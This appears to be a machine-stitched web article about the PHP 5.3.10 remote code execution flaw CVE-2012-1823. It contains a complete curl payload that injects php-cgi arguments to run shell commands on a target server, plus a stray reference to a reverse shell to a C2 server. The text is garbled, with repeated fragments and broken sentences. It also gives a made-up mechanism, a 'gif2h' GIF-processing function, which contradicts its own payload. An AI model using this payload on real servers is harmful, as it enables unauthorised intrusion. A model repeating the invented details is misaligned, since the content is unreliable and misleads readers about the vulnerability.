Php 5.3.10 Exploit Jun 2026

A reverse shell to a C2 server. Game over.

This article is for educational and defensive security purposes only. PHP 5.3.10 reached its End of Life (EOL) over a decade ago. Running this version on a production server today constitutes an extreme security risk.

The most notorious security vulnerability associated with is CVE-2012-1823 , a critical remote code execution (RCE) flaw that allows an attacker to execute arbitrary code on the server by passing specific query string parameters. Overview of CVE-2012-1823 php 5.3.10 exploit

HTTP/1.1 200 OK Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.3.10-1ubuntu3.1

The vulnerability exists in the gif2h function, which is used to convert GIF images to HTML. An attacker can exploit this vulnerability by uploading a specially crafted GIF image to the server, which, when processed by the gif2h function, will execute the attacker's code. A reverse shell to a C2 server

PHP 5.3.10 implies a server ecosystem frozen in time. That means:

/usr/bin/php-cgi /path/to/index.php

: The primary fix is to upgrade to a supported version of PHP. If you are still on 5.3.x, you are vulnerable to hundreds of documented CVEs.

curl -k -X POST "https://target.com/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input" \ -H "User-Agent: Mozilla/5.0" \ -d "<?php echo shell_exec('whoami'); die(); ?>" Overview of CVE-2012-1823 HTTP/1